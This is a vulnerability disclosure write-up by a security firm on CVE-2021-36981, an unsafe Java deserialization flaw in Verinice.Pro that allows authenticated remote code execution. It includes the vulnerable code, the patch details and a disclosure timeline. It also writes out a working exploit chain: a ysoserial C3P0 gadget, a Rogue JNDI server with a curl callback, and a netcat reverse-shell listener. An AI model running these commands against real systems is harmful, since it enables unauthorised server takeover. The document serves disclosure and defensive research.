CVE-2021-36981 - Verinice.Pro 1.22.1 Unsafe Java deserialization of untrusted data, leading to remote code execution (authenticated)
Details of the insecure Java deserialization in SerNet Verinice before 1.22.2 which allows remote authenticated attackers to execute arbitrary code.
The server verinice.PRO is a central add-on product for the desktop client verinice – transforming information security management with verinice to a enterprise solution using a central database and document management server. (https://verinice.com)
During research of possible vulnerabilities the (at this time current) downloadable appliance was used. Prior starting the tests the appliance was fully updated to the latest version of Verinice.Pro (1.22.1) and CentOS-7 running Kernel 3.10.0-1160.31.1.el7.x86_64 #1 SMP Thu Jun 10 13:32:12
Overview of the system architecture
Finding entry points and weak spots
While observing the communication from client to server with Burp we can see that the communication between server and client relies on serialized objects:
For those not being familiar with serialization and deserialization take a look at https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html and of course https://frohoff.github.io/appseccali-marshalling-pickles/.
Looking at the source we see that the endpoint/bean commandServiceHttpInvoker uses the class org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter (ServiceInterface) which is present in /WEB-INF//lib/spring-web/org/springframework/remoting/httpinvoker/HttpInvokerServiceExporter.java
Which we can see below uses ObjectInputStream to deserialize data
/* Location: /veriniceserver/WEB-INF/lib/spring-web/org/springframework/remoting/httpinvoker/HttpInvokerServiceExporter.class
/* */ public class HttpInvokerServiceExporter
/* */ extends RemoteInvocationSerializingExporter
/* */ implements HttpRequestHandler
/* */ {
/* */ public void handleRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
/* */ try {
/* 73 */ RemoteInvocation invocation = readRemoteInvocation(request);
/* 74 */ RemoteInvocationResult result = invokeAndCreateResult(invocation, getProxy());
/* 75 */ writeRemoteInvocationResult(request, response, result);
/* */ }
/* 77 */ catch (ClassNotFoundException ex) {
/* 78 */ throw new NestedServletException("Class not found during deserialization", ex);
/* */ }
/* */ }
/* 96 */ protected RemoteInvocation readRemoteInvocation(HttpServletRequest request) throws IOException, ClassNotFoundException { return readRemoteInvocation(request, request.getInputStream()); }
/* */ protected RemoteInvocation readRemoteInvocation(HttpServletRequest request, InputStream is) throws IOException, ClassNotFoundException {
/* 115 */ ObjectInputStream ois = createObjectInputStream(decorateInputStream(request, is));
/* */ try {
/* 117 */ return doReadRemoteInvocation(ois);
/* */ } finally {
/* */
/* 120 */ ois.close();
/* */ }
/* */ }
and calling “doReadRemoteInvocation” which finally does the ois.readObject()
/* Location: /veriniceserver/WEB-INF/lib/full-lib.zip!/spring-context/org/springframework/remoting/rmi/RemoteInvocationSerializingExporter.class
/* */ protected RemoteInvocation doReadRemoteInvocation(ObjectInputStream ois) throws IOException, ClassNotFoundException {
/* 124 */ Object obj = ois.readObject();
/* 125 */ if (!(obj instanceof RemoteInvocation)) {
/* 126 */ throw new RemoteException("Deserialized object needs to be assignable to type [" + RemoteInvocation.class.getName() + "]: " + obj);
/* */ }
/* */
/* 129 */ return (RemoteInvocation)obj;
/* */ }
Finding working gadgets to exploit it
To find working gadgets we could either compare the used libraries/dependencies with known gadgets from Ysoserial https://github.com/frohoff/ysoserial or brute force every possibility.
As we wanted to test other endpoints as well, we decided to write a Python script which will care about login cookies, payload generation and sending the payload to the verinice server. The script can be found at https://github.com/0xBrAinsTorM/CVE-2021-36981
Login to the application server using the verinice client. Note down the JSESSIONID value. During bruteforce mode we still have some gadgets which need special commands and can’t be used to simply write files to disk like CP30, Hibernate and some more which will do remote object lookups instead. These required parameters are set in python source directly. To catch the lookup we ran a python SimpleHTTPServer Instance.
./send-verinice-deserial.py --ysoserial-path <path> <veriniceip:port> <endpoint url> <jsessionid-cookie> <gadgetname or bruteforce> <command to execute on the server>
As we can see, we got one hit on the object lookup which belongs to the C3P0 gadget trying to load a remote class:
Also the gadget FileUpload1 seemed to have worked, as a file in /tmp/ is generated.
and URLDNS:
Investigating the Verinice.Pro logs in verinice-server.log, the gadgets Hibernate1, Hibernate2, CommonsBeanUtils1, and Clojure raised an exception stating that theres a SerialVersionUID Mismatch:
AbstractType; local class incompatible: stream classdesc serialVersionUID = -428752683973550783, local class serialVersionUID = 1159131397804066629
Rhino Security Labs wrote a blogpost about how we may overcome this (https://rhinosecuritylabs.com/research/java-deserializationusing-ysoserial/) but as for now we are focusing on the C3P0 gadget to get a working remote code execution.
Get remote code execution on the Verinice server
Currently we only got a SSRF (Server Side Request Forgery) Vulnerability - https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html. To craft a working remote code execution we need to serve a Java Class to the Verinice.Pro Server. Usually, this feature is abused against vulnerability class JNDI injection for which we can use the rogue JNDI Server https://github.com/veracode-research/rogue-jndi
Rogue JNDI comes with an reverse shell in ExportObject.java. To use it we need to simply uncomment the needed parts and set connect back ip and port. After that we can package Rogue JNDI:
mvn package
Getting all together we need Rogue JNDI serving our reverse shell payload on port 8000:
java -jar RogueJndi-1.1.jar -c "curl ht tp://192.168.58.100:1234/SECIANUS"
Our Python script using gadget to load the remote object “:xExportObject” from Rogue JNDI:
./send-verinice-deserial.py --ysoserial-path /home/vagrant/workspace/ysoserial/ysoserial-master-d367e379d9-1.jar 192.168.58.200:80 /veriniceserver/service/commandServiceHttpInvoker 29696C3C6460C24B379375177C3F1AC9 C3P0 "http://192.168.58.100:8000/:xExportObject"
and a netcat listener to catch the incoming reverse shell:
nc -lvvp 1234
Gaining a shell
Because of using the same code the vulnerability affects all endpoints using the ObjectInputStream / readObject() i. e. authServiceHttpInvoker, taskServiceHttpInvoker, processServiceHttpInvoker…
It is to mention that this vulnerability is not introduced by code from SerNet, instead this is a vulnerability in designing the application/communication. As the Spring Framework Documentation states:
WARNING: Be aware of vulnerabilities due to unsafe Java deserialization: Manipulated input streams could lead to unwanted code execution on the server during the deserialization step. As a consequence, do not expose HTTP invoker endpoints to untrusted clients but rather just between your own services. In general, we strongly recommend any other message format (e.g. JSON) instead.
Deprecated as of 5.3 (phasing out serialization-based remoting)
Patch availability
An updated version of packages has been released to fix the issue. All users should install version 1.22.2 or later from the official repositories and/or the online shop:
https://shop.verinice.com
https://update.verinice.com
Users of the verinice.PRO server should install the available RPM packages using their established update procedure.
Users of the verinice standalone client version will be offered to install the updated version during startup. If the automated update mechanism has been disabled by the user, the update can be manually triggered by accessing the following menu item: Help -> Check for Updates
Timeline of responsible disclosure
- 2021-07-14 – Frank Nusko of SECIANUS GmbH & Co. KG notified SerNet about the bug
- 2021-08-02 – SerNet has patch ready on source branch for testing
- 2021-08-12 – SECIANUS GmbH & Co. KG verified the patch
- 2021-08-30 – verinice 1.22.2 released, customers notified
- 2022-04-22 – Release of details by SECIANUS GmbH & Co. KG
Links
https://verinice.com/en/support/security-advisory (english)
https://verinice.com/support/sicherheitshinweise (german)
https://verinice.com/news/detail/security-release-verinice-1222-verfuegbar (german)
SECIANUS GMBH & CO. KG
Kontakt können Sie auch persönlich mit einzelnen Partnern aufnehmen - gehen Sie dazu auf die Seite "Secianus - Unser Team" - hier können Sie bei den Personen auch den öffentl. Schlüssel als ZIP-Datei herunterladen.
© 2022 SECIANUS GmbH & Co. KG | GESTALTUNG SOLEMEDIA WERBE.AGENTUR